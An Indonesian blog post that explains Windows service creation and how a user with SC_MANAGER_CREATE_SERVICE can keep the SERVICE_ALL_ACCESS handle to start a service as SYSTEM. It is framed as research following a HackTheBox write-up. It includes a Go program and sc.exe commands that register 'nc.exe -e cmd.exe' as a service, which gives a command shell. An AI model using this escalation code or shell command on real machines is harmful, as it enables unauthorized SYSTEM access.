Tahun lalu (ternyata udah setahun), gw sempat baca dua buah postingan blog yang membahas tentang Windows Service. Postingan pertama adalah “beyond root” dari mesin Resolute HackTheBox yang ditulis oleh 0xdf dan yang kedua adalah postingan yang ditulis oleh VbScrub. Kedua postingan tersebut dapat dibaca ditautan berikut:
https://0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html
https://vbscrub.com/2020/06/02/windows-createservice-api-bypasses-service-permissions/
Di postingan pertama, 0xdf lebih membahas tentang psexec
-nya Impacket dan tool serupa lainnya, sedangkan di postingan kedua, VbScrub melanjutkan kulikan1nya-nya 0xdf dan lebih membahas tentang Windows service-nya.
Berkat kedua postingan tersebut, saya jadi tertarik juga untuk ikut ngulik dan nyelam ke dokumentasi API Windows service.
Sekilas definisi, sederhananya service adalah suatu program yang berjalan di belakang layar. Untuk Linux/Unix-like, biasanya disebut Daemon.
Creation of a Service
Pada Windows, sebuah service dapat dibuat dengan menggunakan command-line utility bawaan Windows bernama sc.exe
. Berikut contoh penggunaannya.
C:\> sc.exe create MyService binPath="C:\program.exe"
- MyService = Nama service
- binPath = Lokasi executable program (+ argument)
Kedua argumen diatas wajib disuplai (minimal).
Pembuatan service MyService
akan berhasil jika perintah di atas dieksekusi pada elevated terminal (akses admin), atau user yang menjalankannya memiliki hak membuat service (SC_MANAGER_CREATE_SERVICE
).
C:\Users\fahmi>sc create MyService binPath="C:\myservice\nc.exe"
[SC] CreateService SUCCESS
Jika bukan elevated atau tanpa hak untuk membuat service, maka hasil yang diberikan oleh sc.exe
adalah pesan galat “Access is denied”.
C:\Users\fahmi>sc.exe create MyService binPath="C:\myservice\nc.exe"
[SC] OpenSCManager FAILED 5:
Access is denied.
Untuk mengetahui tahap pembuatan/instalasi sebuah service, kita bisa mengacu pada contoh kode bahasa C dari dokumentasi Microsoft berikut.
VOID SvcInstall()
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
TCHAR szPath[MAX_PATH];
if( !GetModuleFileName( "", szPath, MAX_PATH ) )
{
printf("Cannot install service (%d)\n", GetLastError());
return;
}
// Creation of a Service: STEP 1
// Get a handle to the SCM database.
schSCManager = OpenSCManager(
NULL, // local computer
NULL, // ServicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights
if (NULL == schSCManager)
{
printf("OpenSCManager failed (%d)\n", GetLastError());
return;
}
// Creation of a Service: STEP 2
// Create the service
schService = CreateService(
schSCManager, // SCM database
SVCNAME, // name of service
SVCNAME, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_DEMAND_START, // start type
SERVICE_ERROR_NORMAL, // error control type
szPath, // path to service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
if (schService == NULL)
{
printf("CreateService failed (%d)\n", GetLastError());
CloseServiceHandle(schSCManager);
return;
}
else printf("Service installed successfully\n");
// Creation of a Service: STEP 3
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
}
Secara garis besar, tahap pembuatan service adalah seperti berikut:
- Program membuat koneksi ke Service Control Manager (SCM) dengan memanggil fungsi OpenSCManager. Fungsi ini mempunyai nilai kembali yang disebut handle (selanjutnya disebut handle SCM). Handle SCM ini memegang level akses tertentu terhadap SCM, detailnya bisa dilihat disini.
- Handle SCM bersama dengan argumen lainnya yang disuplai seperti “nama service” dan “binPath” akan di-passing ke fungsi CreateService() untuk membuat service. Fungsi
CreateService()
juga mempunyai nilai kembali berupa handle (kita sebut handle SVC) dengan level akses tertentu terhadap si service tersebut, detailnya bisa dilihat disini. - Di tahap ini, pesan sukses ditampilkan kemudian handle SCM dan handle SVC ditutup dan program keluar.
- SCM sederhananya dapat dianggap sebagai database dari service.
- Handle SCM menentukan apakah kita dapat melakukan read/write access pada SCM dan handle SVC menentukan apakah kita dapat mengontrol suatu service. Didapatkannya handle SVC sendiri bergantung pada level akses handle SCM.
Pada potongan kode sebelumnya akses handle SCM adalah SC_MANAGER_ALL_ACCESS
, maka pemberian hak ases ini memerlukan elevated process (admin). Jadi bisa dibenarkan pembuatan service memerlukan akses admin. Sedangkan kasus mesin Resolute yang diulas oleh 0xdf, handle SCM dengan akses SC_MANAGER_CREATE_SERVICE
pun sudah cukup untuk membuat service.
Starting a Service
Masih dengan tool yang sama (sc.exe
), sebuah service dapat di jalankan dengan perintah berikut.
C:\>sc start MyService
Normalnya, service yang berhasil dibuat oleh user menggunakan sc.exe
dalam mode elevated atau user dengan hak SC_MANAGER_CREATE_SERVICE
tidak akan bisa dikontrol (start, stop) oleh regular user.
C:\Users\fahmi>sc create MyService binPath="C:\myservice\nc.exe"
[SC] CreateService SUCCESS
C:\Users\fahmi>sc start MyService
[SC] StartService: OpenService FAILED 5:
Access is denied.
Pada contoh diatas, pembuatan service berhasil karena user fahmi
memiliki hak SC_MANAGER_CREATE_SERVICE
, tetapi tidak memiliki kontrol atas service yang dibuatnya.
Jika melihat dokumentasi Microsoft, yang juga dalam bahasa C, tahapan menjalankan sebuah service tanpa sc.exe
secara garis besarnya adalah seperti berikut:
- Membuat koneksi ke SCM database dan mendapatkan handle SCM dengan level akses tertentu
- Handle SCM kemudian di-passing ke fungsi OpenService(). Fungsi ini mengembalikan handle SVC dengan level akses tertentu.
- Handle SVC yang didapat dipassing ke StartService untuk mulai menjalankan service.
Dari ketiga tahap menjalankan service tersebut, regular user tentunya akan mendapat galat berupa “Access is denied” di tahap 2 karena handle SVC tidak didapatkan dan handle SCMnya hanya sebatas level user.
Don’t Close the Handles!
Kalau kita lihat kembali ke proses pembuatan service, tepatnya pada tahap 2 fungsi CreateSevice()
dipanggil, ternyata si pembuat service (level admin atau user dengan hak SC_MANAGER_CREATE_SERVICE
) bisa menentukan level akses dirinya terhadap service yang dibuat dan handle SVC yang dikembalikan oleh fungsi tersebut akan memiliki level akses yang sama.
Jadi, jika saat pembuatan service A, level akses yang disuplai adalah SERVICE_ALL_ACCESS
(full kontrol), maka handle SVC A pun akan memiliki level akses yang sama terhadap Service A. Sayangnya handle SVC A ini ditutup berbarengan dengan handle SCM (tahap 3 pembuatan service).
Lalu, kira-kira apa jadinya jika handle SVC A tersebut tidak ditutup seperti seharusnya, melainkan dilanjut dan disuplai ke fungsi StartService
? Hal inilah yang ditemukan oleh 0xdf dan VbScrub!
Untuk mencoba hal tersebut tentunya kita perlu membuat custom program terlebih dahulu dan berikut adalah program yang saya tulis dalam bahasa Go (Programnya versi argumen, bisa di cek disini).
package main
import "golang.org/x/sys/windows"
func main() {
// Creation of a Service: STEP 1
// Connect to scm to get a handle to create a service
scmHandle, err := windows.OpenSCManager(nil, nil, windows.SC_MANAGER_CREATE_SERVICE)
if err != nil {
fmt.Print("Error cannot create a service", err)
os.Exit(-1)
}
// define service
serviceName, _ := windows.UTF16PtrFromString("MyService")
serviceExecPath, _ := windows.UTF16PtrFromString(`C:\myservice\nc.exe -e cmd.exe localhost 9000`)
// Creation of a ervice: STEP 2
// Create a service
svcHandle, err := windows.CreateService(
scmHandle, // SCM database
serviceName, // name of service
nil, // service name to display
windows.SERVICE_ALL_ACCESS, // desired access
windows.SERVICE_WIN32_OWN_PROCESS, // service type
windows.SERVICE_DEMAND_START, // start type
windows.SERVICE_ERROR_NORMAL, // error control type
serviceExecPath, // path to service's binary
nil, // no load ordering group
nil, // no tag identifier
nil, // no dependencies
nil, // LocalSystem account
nil, // no password
)
if err != nil {
fmt.Print("err", err)
os.Exit(-1)
}
// Creation of a Service: STEP 3
// Don't close the svcHandle, instead send it to StartService
if windows.StartService(svcHandle, 0, nil); err != nil {
fmt.Print("Error Starting service", err)
os.Exit(-1)
}
// Creation of a Service: STEP 4
// Finally close the handles
windows.CloseServiceHandle(svcHandle)
windows.CloseHandle(scmHandle)
}
VbScrub sendiri sebelumnya telah menuliskan kode untuk mendemonstrasikan hal ini, bisa dilihat disini.
Hasilnya?
SYSTEM!*
*Perlu diingat user yang menjalankan program sudah perlu hak akses
SC_MANAGER_CREATE_SERVICE
.
Tapi, kenapa harus custom code?
Karena sc.exe
sendiri tidak menyediakan opsi untuk meng-assign SERVICE_ALL_ACCESS
pada service yang akan dibuat. Ditambah, setelah proses pembuatan service, handle-handlenya ditutup.
C:\Users\fahmi>sc create
DESCRIPTION:
Creates a service entry in the registry and Service Database.
USAGE:
sc <server> create [service name] [binPath= ] <option1> <option2>...
OPTIONS:
NOTE: The option name includes the equal sign.
A space is required between the equal sign and the value.
type= <own|share|interact|kernel|filesys|rec|userown|usershare>
(default = own)
start= <boot|system|auto|demand|disabled|delayed-auto>
(default = demand)
error= <normal|severe|critical|ignore>
(default = normal)
binPath= <BinaryPathName to the .exe file>
group= <LoadOrderGroup>
tag= <yes|no>
depend= <Dependencies(separated by / (forward slash))>
obj= <AccountName|ObjectName>
(default = LocalSystem)
DisplayName= <display name>
password= <password>
Conclusion
Disini kita tahu bahwa regular user dengan hak pembuatan service (SC_MANAGER_CREATE_SERVICE
) dapat membuat sebuah service tapi tidak memiliki kontrol langsung untuk menjalankan service tersebut. Tapi hal tersebut berbeda ceritanya jika handle yang didapatkan dari pembuatan sebuah service tersebut langsung digunakan untuk melakukan kontrol terhadap service yang dibuat.
Jadi intinya ini security issue atau bukan?
Kalau mengacu ke dokumentasi Microsoft, bisa disimpulkan secara tidak langsung jika user yang mampu membuat service adalah termasuk admin. Sehingga ini bisa masuk security issue dibagian abuse privilege (user management) mungkin ya.
Nah untuk eksploitasi hak SC_MANAGER_CREATE_SERVICE
tanpa custom compiled program kita bisa mengubah nilai “start up type” si service ke otomatis ketika booting dengan mensuplai start=auto
pada sc.exe
.
Sekian~
*Ngulik itu sebangsa ngoprek 😅 ↩︎
References
- https://vbscrub.com/2020/06/02/windows-createservice-api-bypasses-service-permissions/
- https://0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html
- https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights
- https://docs.microsoft.com/en-us/windows/win32/services/installing-a-service
- https://docs.microsoft.com/en-us/windows/win32/services/starting-a-service